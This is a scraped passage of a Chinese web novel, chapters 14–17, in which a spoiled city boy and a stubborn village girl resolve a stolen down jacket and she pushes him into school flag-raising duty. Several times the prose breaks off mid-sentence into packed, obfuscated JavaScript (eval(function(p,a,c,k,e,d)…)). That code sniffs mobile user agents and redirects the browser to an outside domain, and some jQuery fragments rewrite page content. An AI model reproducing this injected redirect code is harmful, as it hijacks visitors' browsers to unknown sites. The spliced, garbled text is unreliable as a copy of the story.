小胖墩没料到这人嘴这么贱,被他气得几近心梗,瞪着眼睛怒视他几秒,忽然伸手抢过了他手里没吃完的苏打饼干。 他懵了:“你干嘛?” “既然你觉得她不好,那就别吃了,反正这饼干也是她拿了半个饼跟我换,让我悄悄拿给你的……我看我拿去喂狗都比给你强!” 闻言许思睿直接楞在了原地。 14. 烦躁 关于祝婴宁人好这件事,许思睿并非毫无体会,毕竟他从她那里得到过帮助,而且眼下这个帮助又添上了一笔。可他还是很难相信有人能无私到这种程度而不掺杂任何作秀成分。在他看来,任何无私到违背人类自私天性的行为都应该归类为某种有目的的表演。 最典型的例子是他在京城时就读的中学的校长。 该校长以菩萨心肠著称,平日除了感化问题学生,最爱的事情就是做慈善,据说没有任何人目睹过他发脾气,即使再烂再难管教的班级到了他手里,他也能平心静气弘扬真善美。 然而就是这么一个“菩萨”校长,当他们学校某个初三学生承受不了课业压力跳楼后,站在他身边的学生听到他脱口而出的第一句话不是痛惜,也不是拨打120,而是: “他妈的,又给我找事!” 所以,察觉到祝婴宁的“好”,他不可避免地怀疑起这是否是她为了遮掩刘桂芳的行径故意为之,亦或者是在全班同学或者镜头前立人设。 下午放学后,他跟在她身后走回家,忍不住再次出声试探,问:“祝婴宁,你说要帮我找羽绒服,到底找着没有?” “我昨晚问了附近的邻居。”她的回答倒是自然,“他们都说没看到,我打算今晚找剧组的人借摄像机瞧瞧,也许他们恰巧有拍到些什么。” “第一期的硬盘已经寄走了。”他提醒她。 “我知道,但是前两天的视频没算在第一期里,找找看总比什么都不做好。” 许思睿就不说话了。 晚上洗完澡干完活写完作业,祝婴宁依言去找了剧组,问他们能不能把摄像机借她看看。 杨吉盘坐在棚子里,好奇地问:“为啥要看视频?” “我想帮许思睿找找他的羽绒服。” 杨吉就笑了,拿着一条不求人搓了搓自己的脚底板,摇头说:“你别太惯着他,他就是欠收拾,要找让他自己来找。” “我没惯着他。”祝婴宁严肃地解释,“他觉得衣服是被村里人偷了,我觉得只是被谁放错了地方,要是能把羽绒服找出来,就能洗清村里人的嫌疑了。” 杨吉没料到是这个理由,怔愣几秒,随即笑得更开怀了,指着她对周围人说:“看到没?小孩儿。” 只有十几岁的孩子会把一件羽绒服失踪的“案子”当真,甚至用上了“洗清嫌疑”这么严重的表述。她这种童稚的坚持在他们这群大人看来还怪可爱的,于是杨吉应允了,条件是不能拿走,只能在这看。 祝婴宁立刻点头如啄米。 她坐在剧组的折叠凳上,小心翼翼捧起相机。 综艺每一期的时长只有短短几十分钟,背后的素材却不可胜数,还有许多无意义的重复镜头和空镜头。她低头看了一会就觉得腰酸腿乏眼角发涩,屁股也像被针刺了似的,坐立难安。但摄像机价格昂贵,祝婴宁不敢随便乱按,生怕按坏了什么东西需要赔偿,于是全程便只乖乖捧着相机,强迫自己瞪大眼睛仔细检索。 看着看着,一个小时就过去了。 剧组的人先后躺进了睡袋里,杨吉也钻了进去,把灯泡熄灭以后出声提醒她:“别看了,回去休息吧。” “杨叔,我再看一会儿。” “都十点了。” “我去棚子外面看,不打扰你们,看完我就放回原位。” “哎,我不是嫌你打扰我们……” 杨吉见她这么坚持,也很没辙,知道她脾气犟,只好随她去了。 一时间天地沉寂,万籁无声。 棚外没有照明,只有月光依稀映亮山岗。祝婴宁搬了个板凳坐在外头,一手撑着下颌,一手扶着相机,在朦胧的月色下眯着眼睛继续查看视频。 也不知道看了多久,露在外面的脚踝忽然有些痒,她伸手快准狠地拍死了一只蚊子,把相机放在膝盖上,拿草叶刮掉掌心蚊子的尸体。 居然已经有蚊子了,看来夏天真的要来了。 她一边迷迷蒙蒙想着即将到来的夏天,一边摆正摄像机的位置,努力瞪大沉重的眼皮。 这回没看多久,眼前就晾下了一道阴影。 她抬起头,仰望来人,有些吃惊:“许思睿?” 他只穿了一件薄薄的睡衣,缩着肩膀,抱着手臂,低头俯视她,眼神因为背光而显得晦暗不明。 睡衣这个意象很容易带给人和睡眠有关的联想,祝婴宁皱了皱鼻子,勉强忍下一个哈欠,困倦地问:“你怎么还没睡,有事吗?” 许思睿没答话,依然杵在原地,维持着站姿,不知在想什么。 他个子高,虽然身材偏瘦,但骨架大,铺天盖地地挡在她面前,还挺有压迫感的,她见他迟迟不说话,干脆挪了挪腿,将身体调整成斜对他的姿势,低头准备继续检查视频。 结果还没看清楚屏幕上的录像,他就伸出脚,用鞋尖碰了碰她的裤腿,说:“……别看了。” “为什么?”祝婴宁不解地抬头看他,“还差一点就能把前天的视频检查完了。” 许思睿又沉默了一会儿,复读机般重复道:“反正就是别看了。” 他只是一味叫她别看,却不说理由,祝婴宁感到莫名其妙,权且当他抽风,打算无视他,继续做自己的事情。 但看视频这个举动也不知道戳到了他哪条神经,她低下头那一瞬间,他提高音量,喝道:“我让你别看了!”随即伸手抓住她的胳膊,把她从板凳上提了起来。 “你干嘛呀!?” 相机因为他这个突兀的动作差点掉了,祝婴宁手忙脚乱接好,恼怒地瞪向他。 许思睿拿过她怀里的摄像机,自作主张把它放回原位,用手背在她背后拍了拍,没好气道:“回去睡觉。” 她还想回身去拿摄像机,可许思睿挡在她身后,像一只巨大的背后灵,她往左边走,他就往左边挡,她往右边走,他就往右边挡,时不时用手背推一推她。等她反应过来,他们俩都已经推推搡搡走到房门口了。 在许思睿的严密监督下,她再一头雾水也只好暂时作罢,回身爬到炕上躺好,心想明早起来看也是一样的,就是不知道许思睿在抽什么风。 ** 许思睿没有在抽风,他只是觉得很没意思。 躺在炕上,看到三八线另一头的床位空着时,他突然就觉得没劲透了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543187|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 假如祝婴宁不知道羽绒服失窃的真相,那他这样做不就是在逼她承认自己妈妈是个小偷吗?这样做的意义在哪?步步紧逼为难一个小姑娘难道很有趣? 就算事实真如他猜测的那样,祝婴宁在袒护刘桂芳,那又怎么了?一件羽绒服对他的家庭来说根本不算什么,他不是心疼钱,单纯只是觉得恶心得慌才想知道真相。可如果得知真相需要为难一个女孩大半夜不睡觉坐在屋外喂蚊子,他觉得这真相还不如不知道。 所以—— 算了,就这样吧。 许思睿不想追究了。 他起身去叫回屋外的祝婴宁,希望她能意会到自己的意思。 但很显然,祝婴宁和他毫无默契可言,她完全没领会到他的苦心。 第二天早上醒来一看,身边的床位已经空了。许思睿没多想,因为祝婴宁向来起得比他早,他端着水杯和牙刷蹲到屋外刷牙,正咕嘟咕嘟漱着口,就听路过的杨吉打趣道:“许思睿,你倒是悠闲呐。” 他不明白杨吉在阴阳怪气些什么,懒得搭理。可随即就听到了杨吉的下一句:“你这边在赖床,人家婴宁那边已经早起替你找羽绒服了,我就纳闷了,这到底是谁的衣服,指使人家指使得那么起劲,你自己怎么不上心?” 许思睿差点把漱口水咽下去。 杨吉没来由的指责让他窝火,不过他更在意他话里另一层意思,吐掉嘴里的泡沫,咳了几声,问:“她又去看相机了?” “对啊,一早就起来看了。” “……” 服了。 许思睿脑海里浮现出这两个巨大的字。 他不明白祝婴宁哪来这股倔劲儿,甚至有点后悔当初答应让她帮自己找羽绒服了,匆匆忙忙把牙刷完,对杨吉说:“我去劝劝她。” “还劝什么?人家早看完了。” “看完了?”许思睿脚步一顿,心里顿生一股不妙的预感。 “是啊,十几分钟前就看完了。” “那她看完以后有没有出现什么……反常的表现?”他谨慎地问。 “反常的表现?”杨吉想了想,摇头说,“没有啊,很正常,她看完以后就去找她妈妈了。” “……” 得,完蛋。 许思睿环顾了一下周围,发现祝婴宁和刘桂芳果然都不在这里。她们也没在屋里。他不想猜她们此时身在何处,因为用脚趾头想都想得出来,这对母女现在八成在村头那个所谓的萍姐家里。 许思睿感到很烦躁,这股烦躁类似以前逃课到网吧时发现许正康竟然坐在他隔壁,甚至比那更甚。没有构成任何实质性伤害,但就是烦。可他又说不出烦躁的来源,踱步回屋里,一屁股坐在书桌前,面朝斑驳的墙壁发起呆。 明明做错事的不是他,为什么他会这么心烦意乱? 许思睿想了很久也没想出个所以然。 正思忖着,房门就被人推开了。 他身子僵了僵,别扭地将头扭到背对房门的方向,手指随便抓起书桌上一支笔,在桌面上戳来戳去。 “许思睿。” 他听到了祝婴宁叫他的声音。 15. 两年后的债 “我找到你的衣服了……” 祝婴宁的话还没说完,许思睿就打断道:“找到就好,你说得对,估计不小心被谁拿错了。” 他不想将这件事扩大化,不想弄得所有人都难做,只想赶紧翻篇。若要深论起来,他前两天晚上也偷吃过祝婴宁家几个馒头,一偷抵一偷,大家一起装傻,体面点把这件事揭过去,在他看来就是最好的解决方法了。 许思睿认为自己给的这个台阶非常好,只要不是不识好歹的人,都可以顺坡下。 然而—— 祝婴宁显然拥有不同的想法。 他话才说完,她就义正言辞反驳道:“不对,你的羽绒服是被我阿妈偷去藏起来了。” 许思睿差点没被自己的口水呛死,他回过头瞪着罪魁祸首,不明白这人的情商是怎么长的,他都已经表露出不想追究的意图了,她为什么还要主动承认? 祝婴宁板着脸,心情看起来很沉重,她朝后瞥了刘桂芳一眼,继续说:“我要向你道歉,你说羽绒服被偷了,我第一反应是你在胡扯,对不起。” 许思睿没料到她会道歉,吓了一跳:“呃,不至于……” 这件事在他看来没那么严重,她如此严肃的态度反而弄得他浑身不自在,甚至让他产生了一种二战结束清算战俘的错觉。 而这还不算完。 祝婴宁朝旁边让了让,露出身后的刘桂芳,恨铁不成钢道:“我已经教育过我阿妈了,她深刻认识到了自己的错误。” “……啊?” 还没等许思睿反应过来,刘桂芳便捏着衣角,垂下头,弯着腰,低声下气地说:“不好意思啊思睿,是阿姨做得不厚道,阿姨对不起你……” 许思睿活了十多年,还是第一次面对大人的道歉。 许正康爱面子,别说对他了,就是对长辈,也从来不曾放下过身段,而周天澜性子虽软,却爱浑水摸鱼,做错事以后习惯打哈哈掩饰过去。成年人的歉意有如皇帝的新衣,非说自己穿在身上,然而谁都看不到。 刘桂芳的道歉不见得是真心悔改,却还是带给许思睿极大的震撼。他如坐针毡,不明白事态怎么会朝这么光明正义的方向演变,嘴巴打开又闭上,闭上又打开,几经挣扎后,才磕巴道:“没事儿……真不至于,真的。你……您不用跟我道歉。” “错了就是错了,错了就要道歉!” 祝婴宁在旁边大声插了句嘴,语调严厉,刘桂芳听完就像霜打的茄子般耷拉下脑袋,双手十指交叉,无措地绞来绞去,嘴里一径儿喃喃说着对不起。 这诡异的画面让许思睿手足无措,见刘桂芳说起来大有没完没了的架势,害怕她一直说下去,他只好试探着回了句没关系。 刘桂芳的道歉这才像收到指令般停止。 祝婴宁越过她上前一步,将手里羽绒服展开,表情由恨铁不成钢慢慢转为不安:“许思睿,还有一件事我得告诉你……” 许思睿抬眸看着她。 她抿了抿唇角,盯着自己的鞋尖,嗓门一点一点弱了下去:“我阿妈把羽绒服放到了村头萍姨家,刚刚我们去取回衣服时,发现她家小孩瞒着她把羽绒服翻出来玩了,然后……”她抖开羽绒服,指着上面一道手指长的刀痕和刀痕里露出来的鹅绒,声音细若蚊蚋,“这件衣服现在成这样了。” 许思睿在意的本来就不是羽绒服本身,刚想说没事,面前祝婴宁便提高音量,紧接着补了一句:“不过,你放心!我会负责的。” “……啊?” “你告诉我这件衣服多少钱,我赔给你。” 闻言他实在没忍住,笑了一声:“你赔给我?你知道这衣服多少钱吗?” “不知道。”她如实说,“但不管多少钱我都会赔的。” 初生牛犊不怕虎啊。 许思睿刚想报个原价吓退她,余光便瞧见了刘桂芳的动作。她站在祝婴宁身后,手指不断拉拽祝婴宁的衣摆,睫毛疯狂颤抖,嘴唇顺时针逆时针蠕动,像一条深陷蛛网的蠕虫,几番欲言又止,显然非常不赞成女儿的举措。但被她隐蔽阻止的当事人却头也没回,依然直勾勾盯着他,一双眼睛黑白分明,诚恳且耐心地等着他接下来的话。 不知道为什么,他的舌头莫名在口腔里打了个绊,说出口的数字硬生生少了两个零:“这件衣服要……三百块。” 三百块,折中的结果,普通的羽绒服不都这价位么? 然而说出口的那一瞬间,刘桂芳活像听到了鬼子进村,脸色刷白,下巴往下一掉,嘴巴张得像能塞进一个灯泡,就差翻个白眼直接晕过去了。祝婴宁的身子也晃了晃,但她很快站稳了,调整好僵硬的面部肌肉,说:“我知道了,我会赔你的,就是需要一些时间。” 许思睿没想到三百块都能让她们这么惊愕,他原本就没打算让她们赔,看到她俩的反应,更加明确了这个决心:“……不用,谁要你们赔了。” “我会赔的。” “说了不用!”他怕祝婴宁又犯犟,随口扯道,“我带回家让人缝缝就行了。” 刘桂芳像抓住了救命稻草,立刻出声附和他:“有道理,有道理!破了条口子,缝起来不就好了吗?思睿,你把衣服交给我,阿姨来给你缝,阿姨针法可好了!” “呃,不用……” 这边许思睿正在和刘桂芳掰扯,那边祝婴宁忽然沉下脸,说:“该是怎样就是怎样,我说了会赔,就一定会赔的。” “……靠。”许思睿不明白她为什么非要打肿脸充胖子,明明家里有几斤几两,明眼人都瞧得出来,他都已经不计较了,她为什么就是不肯就坡下驴接受他的好意? “你们家家具卖了都凑不齐三百吧?”他一生气就口不择言起来。 祝婴宁没说什么,绕过他来到书桌前,撕出一张纸,在上面刷刷写起字。 “你干嘛?”他拧眉看过去。 她写得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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山里资源匮乏,腊肉由于好保存,储量比新鲜肉多。他来到这以后就一直吃不惯重油盐的腊肉,看到刘桂芳把一整盘腊肉推到他面前,他只觉得两眼发黑,说了不需要,她却油盐不进,执拗地对他说:“你吃,你吃!你这孩子,千万别跟阿姨客气。”并且作势要将腊肉扒拉到他碗里。 晚上睡觉前,刘桂芳甚至还把三八线往祝婴宁那边拨了拨,给他留出更大的空间,讨好道:“你是男孩子,体格大,我让宁宁给你让多点位置。” “……” 许思睿烦得不行,心想还好祝婴宁不是这种卑躬屈膝的德性,不然他得被这对母女烦死。 但他很快就为这个想法后悔了。 因为祝婴宁虽然不卑躬屈膝,却有一项更大的毛病——爱管闲事。 周日晚上,当他洗漱完,刚要躺进被窝里时,祝婴宁忽然叫住他:“许思睿,我们来排练一下吧。” “?” 他一头雾水,完全听不懂她的话,“排练什么?” “升旗啊。”祝婴宁理所当然道,“你不是答应了要做升旗手吗?” 16. 你是好人 “?” 许思睿目瞪口呆,“我什么时候答应要做升旗手了,我自己怎么不知道?” 祝婴宁翻了翻随身日程本:“反正老师就是这么跟我说的,他让我周末找时间教教你升旗的步骤,你可以把我当成另一个升旗手排练。” 他仔细回想了一下和陈斌的对话,想破脑袋也没想出任何可以被他误解为“答应”的回答。罔顾本人意愿先斩后奏,这个做法怎么看怎么眼熟,许思睿气得太阳穴突突直跳,手指碾上去揉了揉,心想这个地方到底还有没有正常人了,怎么个个都是奇葩? 奇葩一号把本子一合,开始自说自话:“踢正步你会吧?另一个升旗手比你矮一点儿,踢正步的时候你可能得稍微兼顾一下他的脚步。其实很简单的,明早我们早点去学校,我把你们需要走的那段路指给你看,然后你只需要——” “停。”许思睿出声制止她,“你跟我讲也没用,我不当升旗手。” 她惊讶地眨了眨眼:“为什么?” “什么为什么,不想当就是不想当呗。” “为什么不想当?” 见她大有打破砂锅问到底的精神,许思睿只能随口敷衍道:“又不是人人都爱出风头。” “可是,这怎么能叫出风头呢?这明明是一项光荣而伟大的工作。国旗是由战士的鲜血染成的,升国旗是凝聚爱国精神、缅怀革命先烈、传承优良传统的一项不可或缺的活动。” “?” 许思睿惊呆了,他发现他可能很难用正常人的逻辑说服祝婴宁,因为她自带一套和正常人大相径庭的逻辑。为免继续浪费口舌,他只能换个思路劝她:“反正你别来管我。” 谁知她一点儿都不买账:“不行,我得完成老师交代的任务。” “……我自己去跟班主说,就说是我不想完成任务,和你没关系,行了吧?” 她还是摇头:“不行。” “怎么又不行!?你到底想怎么样?”他快抓狂了。 祝婴宁想了想,看着他的眼睛,认真回答:“因为我发现老师说的没错,他说你虽然表面上看起来目中无人,嚣张跋扈,不服管教,但是内心柔软,只要对你施予善意,你是能够改造好的。之前我可能是对你有些偏见,但现在我认识到了你是好人,所以,我是不会轻易放弃你的。” “?” 短短一句话把许思睿震撼得半天都说不出话,缓了很久才找回自己的语言功能,先从众多槽点里挑了一个最浅显的问,“……你是在夸我?” 她点了点头。 “……” 许思睿再度失去了语言功能,他张了张嘴,勉强组织出一个完整的句子,“我对你做了什么让你觉得我内心柔软?” “你不要我赔你羽绒服的钱。”她仔细想了想,又补充道,“而且,你其实早就知道羽绒服是我阿妈拿的了吧?但你不想计较这件事,所以那天晚上才让我别看摄像机回去睡觉,你比我想象的要细腻得多。” “……不是,祝婴宁,你对好人的标准是不是太低了?” “是你没有认识到你自己是个好人。” “……” 他深呼吸两下,咬牙切齿道,“好吧,行……就当我是个内心柔软的好人。既然我是好人,你为什么还要以怨报德,你行行好放过我,让我安安静静上会儿学不行吗?” “这不是以怨报德,我是想帮你融入班集体,升国旗是非常神圣的任务,有利于帮助你在同学中建立光辉形象。”她一本正经地解释。 许思睿彻底无语了。 祝婴宁的逻辑根深蒂固,坚不可摧,他不认为自己有能力改变她的想法,索性朝床上一扑,拉高被子罩住自己,摆出死猪不怕开水烫的架势,打算无视她的存在直接睡觉。 她爬上来,坐在他旁边,喋喋不休又劝了他一会儿,然而不管怎么劝,他都毫无反应,甚至学着电视里的人故意打起装睡的呼噜。 “……” 他不想做,祝婴宁也没办法把他强行挟持起来做,见劝说无果,她只好暂时先合上日程本,决定等第二天睡醒再想想新办法。 ** 新办法就是继续劝。 走在上学的路上,许思睿深刻意识到在这里生活最要紧的事不是别的,而是配副耳塞。 上学的路有多长,祝婴宁的话就有多长。他不明白她小小的身躯里哪来那么多不重样的道理,唧唧歪歪啰嗦了一路,居然没有一句话是重复的,从中华上下五千年的传统美德说到西方近现代哲学思想,听得他耳朵都要起茧了,她却依然激情陈词。 中途许思睿也试过发飙,可不管是骂她,凶她,还是自暴自弃地跑开甩掉她,她都能阴魂不散跟过来,没事人一样继续给他洗脑。 到最后许思睿都麻木了,甚至还有闲心点评一句:“你看过很多书?” 说到这她眼睛一亮,不好意思地露出一个笑:“是啊,我们班主任很好的,他带来了很多书,只要有学生跟他借,他都愿意借给我们。” 来到学校,果然到处都洋溢着升旗的氛围。 教学楼右边的篮球场上已经稀稀拉拉排起了几条队伍,有小学生,也有初中生,许思睿随意扫了一眼就要往教学楼上去。 还没走上几步,就被人拽住了。 祝婴宁拉着他的胳膊,问:“你要去哪?我们得去升旗台那边排练了。” 许思睿低骂一声,试着抽了抽胳膊,竟然没抽出来。 她的怪力他之前隐隐约约有体会过,于是第二次时暗暗往手上加了不少劲,猛地一抽—— 毫无变化,她依然扯着他的胳膊纹丝不动, 许思睿气笑了:“你非要这样是吧?” 她用沉默表达坚持。 “行。”他点点头,直接迈步往前,“你不嫌丢人就好,反正我是无所谓。” 祝婴宁做惯了农活,手上力气大,许思睿抽不开自己的胳膊,可毕竟体重差距摆在这,他一走,她就被连带着提溜起来了,整个人挂在他胳膊上跟着他往前。 摄影师默默跟在后面记录这迷幻的一幕。 教学楼的楼梯人来人往,他们一走过去,迎面正好有班小学生排队走下来。这些孩子由老师带领着,从楼梯上方鱼贯而下,每个路过他们身边的人都会朝他们投来惊奇的一瞥。 许思睿硬着头皮往上走,脸皮却不受控制变得越来越烫,直到到达二楼,有个小学生指着他们大声问同伴:“他俩在干嘛呀?为什么要这样黏在一起?”他才受不了地停下脚步,把祝婴宁拽到一边,深深吸了口气,说:“……行,祝婴宁,你赢了,我他妈有所谓。” “那你现在下去升旗了吗?” “……我难道还有别的选择?” 许思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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当然,他清醒并非受到了谁的感化,而是因为陈斌接过话筒后,慷慨激昂地说了一句:“让我们大家用最热烈的掌声欢迎新来的同学许思睿——” 全校的人都朝他看了过来,掌声激烈,排山倒海。 许思睿的心情只能用操|蛋来形容。他僵硬地站在原地接受来自全校同学的掌声,听陈斌抑扬顿挫地介绍《交换人生》这档综艺,顺带表达对他的期许:“希望许思睿同学能在我们这里度过有意义的一学期!我们大家要互相学习,友好交流,共同进步,既要展现出我们学校的精神风貌,又要虚心向许思睿同学讨教,学习他的优点,用我们的实际行动促进城乡交流,共创美好新未来!” 言毕又是一阵排山倒海的掌声。 好不容易撑到升旗仪式结束,许思睿感觉自己的脸都要笑麻了。 上午第一节课是数学课,他原本打算补补觉,然而还没趴下,后座的祝婴宁就开始用笔帽戳他。 许思睿一个头两个大,疲倦地瞪向她:“又怎么了?” 她说:“这节课老师要测验,你不能睡。” 他翻了个白眼,置若罔闻地趴下。 五分钟后,许思睿猛踹了一下前座的椅子,黑着脸从桌上直起身。 不起来不行,他的脊椎都快被祝婴宁戳断了。 被无辜殃及的前座回头瞟了他一眼,没吱声。数学老师也闻声看过来,清咳两下,不冷不热提醒道:“认真考试哈。” 随堂测验的卷子就摆在许思睿面前,他捏起来看了两眼,叹了口气,从桌肚下摸出笔,认命地开始答题。 17. 排挤 随堂测验的卷子当天就发下来了,发试卷时许思睿正好去了趟卫生间,回来后发现全班同学都在讨论测验结果。他对成绩不感兴趣,随便撕了张草稿纸,低头开始画魔兽世界的地图——这是他今天新发现的打发时间的方法。 自娱自乐了片刻,肩膀斜后方探出一个脑袋,问他:“许思睿,你考得怎么样?” 他头也没抬:“不知道。” “不知道?你没拿到试卷吗?” 他朝周围看了一圈:“没发到我这吧。” 祝婴宁便把头缩回去了。 最后一节课是自习,班上大部分人都在传阅试卷校对答案,许思睿没兴趣参与,奈何祝婴宁的卷子被不少人借了过去,从排头传到排尾,又从排尾传到排头,好几次都从他面前飘过,他不可避免地瞥到了卷子上的分数,发现她成绩居然还不错,15道选择题,5道大题,她只错了最后一道大题的最后一小问。 班上同学的讨论也大半集中在最后一问上,大家都在争正确答案是什么。许思睿知道答案,但他懒得说——他以前的学校早在初一就给他们讲授过类似题型了,这所学校似乎还没教到,他觉得主动说出来有装|逼的嫌疑,更何况他也没有这种倾囊相助的热心。 熬到自习课结束,放学铃一响,他立刻扔开纸笔,站起来伸了个懒腰,迫不及待想回家吃饭了。 吃饭,睡觉—— 许思睿发觉自己这日子真是越过越倒退了,和猪栏里的猪没两样。 祝婴宁在他身后收拾书包,抬头看了看他,惊奇道:“你还没拿到试卷吗?” 他摊开手耸了耸肩。 祝婴宁立刻站起来表示:“我去帮你找找。” 他还没来得及说不用,她已经小跑到讲台上,开始了地毯式搜查。 许思睿只好站在原地等着。 教室就那么丁点大,祝婴宁从前讲台找到后黑板,把每个角落都仔仔细细看了一遍,也没找到许思睿的卷子。她不死心地从后到前又找了一遍,依然一无所获。 许思睿提着她的书包跟了上来:“算了吧,一张试卷而已,没了就没了。” “那怎么行?”她说,“你在这等我一会儿,我去办公室问问老师,也许被她落在办公室了。”说着就要出去。 恰好今天的值日生也端着垃圾桶从前门往外走,祝婴宁和她并肩而过时下意识往里面瞄了一眼。就是这一眼让她愣住了。她叫住值日生,伸手从垃圾桶里捡出一张皱巴巴的纸,把它小心地用手指抹开—— 赫然就是许思睿的试卷。 “……为什么在垃圾桶里?”她一头雾水,下意识嘟囔出了声。 许思睿站在她身后,越过她的肩膀看了过去。 试卷不仅皱,上面还满是签字笔涂画的痕迹,像是被人当成草稿纸演算了一样。他看着看着就笑了,笑声里透出几分嘲讽和无谓。 祝婴宁有点缺根筋,对微妙状况缺乏敏感度,但他不是,从小到大,许思睿见惯了类似的事,他很快反应过来发生了什么,抬眼扫视着讲台下还没走的同学,声音不高不低地说:“有人看我不顺眼呗。” 这句话音量不大,可教室里很安静,每个人都听得一清二楚。他说完后,气氛先是僵滞了几秒,接着所有人都默契地垂下视线,低头忙着手里的事,好像书包里的书突然多得收拾不完了似的。 祝婴宁尤在消化他的话,许思睿已经走上前,拍了拍她的手臂,催道:“行了,找到了就走吧。” 她像个呆子一样傻愣愣跟了出去。 一直走到校门口了,祝婴宁才恍然大悟:“我知道了,是有人故意把你的试卷丢进了垃圾桶里!” “……” 许思睿对她的反射弧无语了,沉默地斜了她一眼。 初来乍到,性格又拽,会被同学讨厌也是情理之中。他来到山里本来就没有和谁交朋友的打算,自然也不在乎是否被人讨厌。但祝婴宁完全不这样想。她看起来难以接受这个事实,脸上表情瞬息万变,时而震惊,时而呆滞,时而低落,活像被排挤的人是她。 回家的路上,她垂头丧气,神情简直比死了亲爹还凄凉。 许思睿觉得她的反应很奇怪也很好玩,在她第七次叹气出声时,他没忍住笑了一声。 “你笑什么?”祝婴宁奇道。 “你叹什么气?”许思睿也奇道。 她皱着脸颊说:“我想不明白大家为什么要这样做。” 许思睿便呵了一声:“多正常。” 他对自己的性格还是有自知之明的,就是不想改而且懒得改而已。 ** 被排挤在许思睿看来真是小得不能再小的一件事了,他睡了一觉起来,完全将其抛之脑后。 但祝婴宁和他截然相反,她有一种将所有小事当成大事对待的能力,早读结束后的那五分钟课余时间里,她忽然对前后桌说:“我知道最后一题怎么做了。” 许思睿莫名有股不祥的预感,他竖起耳朵,听到周围的人纷纷问她:“怎么做?” 她用简明扼要的语言讲解了一遍。许思睿越听越觉得心里发毛,因为她讲的方法完全就是他试卷上的答题方法。果然,讲完以后,在前后桌一片“天哪,居然这么简单”“厉害啊,你怎么想出来的”的夸赞中,她郑重其事道:“是许思睿教给我的,其实他可热心了。” “……” 许思睿忍了又忍,才没回头揭穿她。 难怪昨晚要走他的试卷看了半天……她该不会以为把最后一题的解答功劳归到他身上,就能改变他在同学中间的形象了吧? 和他猜想的一样,一听到最后一题是他想出来的,大家瞬间就静默了。两三秒后,有人不冷不热地回了句“是吗”,有人打着哈哈说“这道题真有意思”,有人转移话题,问今天的语文课会不会抽查背诵。总之,没有一个人像祝婴宁期待的那样,对他的“热心”发表类似感谢的评价。 ** 第一次试图破冰惨遭滑铁卢,祝婴宁并没有因此一蹶不振。许思睿头疼地发现她开始实践起其他破冰方法,譬如打着他的名义在班上到处做好事,小到把自己的笔借给别人,谎称那是他的笔,大到自作主张替他答应了同学的值日调换。 提起后者,他至今想起来依然一肚子气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543190|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 按照座位号顺序,他本来要到五月中旬才需要打扫卫生,结果,当班上某个同学由于需要提前回家干农活,且苦恼于没人和自己调换值日时间时,祝婴宁忽然站出来说:“许思睿可以和你换。” 许思睿做人做事一向秉持着能偷懒就绝不勤奋,能拖延就绝不提前的原则,且他最烦别人越俎代庖给他安排工作。因此听到祝婴宁自作聪明替他决定了值日轮换,他一个没忍住,当场就爆了句粗口:“操,你他*傻*吧?” 这句粗口成功吸引了全班人的目光,尽管祝婴宁始终尬笑着,想要展现自己并不在意许思睿粗俗的口癖,但大家看着他的眼神还是变得更加阴晦复杂了。 到了最后,值日调换还是落到了祝婴宁身上,因为许思睿说什么也不肯换。 他不仅没换,还把腿高高架到课桌上,一手端着水壶喝水,一手托着下颌看祝婴宁忙前忙后打扫卫生,活像个指使太监干活的皇帝。 ** 本来以为有了这么一遭,祝婴宁管闲事的心该有所收敛,然而—— 当她把一张篮球比赛报名表递到他面前时,许思睿发现自己完全低估了她说的那句“我是不会轻易放弃你的”的威力。 篮球比赛规模很小,就是个校内友谊赛,小学一组,初中一组,分开各自比。光看操场上那个破破烂烂的篮球框,许思睿都能猜到比赛有多水。 他嫌弃地捏起那张皱巴巴的报名表,问祝婴宁:“你想干嘛?” 她热情介绍道:“推荐你参加比赛呀!每个班至少要派出三人参加,但我们班只有两个男生报名,还缺一个人。现在大家都焦头烂额,担心人不够,连参加比赛的资格都没有。要是你能在这个关键时刻挺身而出,大家一定会把你当救世主,并且对你改观的。这是一个完美的破冰契机!” 许思睿快要绝望了,他深深吸了一口气:“祝婴宁,我求你放过我好吗?”他说,“我就是一滩烂泥,烂泥扶不上墙,你别在我身上白费力气了,我根本不在乎大家怎么想我。” 她丝毫没被他的话打击到:“烂泥虽然扶不上墙,但加点水泥进去,兴许还能救救。而且你也不是烂泥,你就是有点儿……呃……长歪了?我知道你不在乎大家怎么对你,但我还是希望你能够在我们这里留下一些美好的回忆。” 他很想问跟一帮傻叉打篮球算是什么美好回忆,但终究忍住了,没问出口。 介于各种前车之鉴,许思睿已经意识到了用“不想去”当借口,是没有办法说服祝婴宁的,所以他换了一种方法,直接表示:“我不会打篮球。” 祝婴宁大吃一惊:“真的吗?我怎么记得剧组的人跟我说过你会打篮球?” 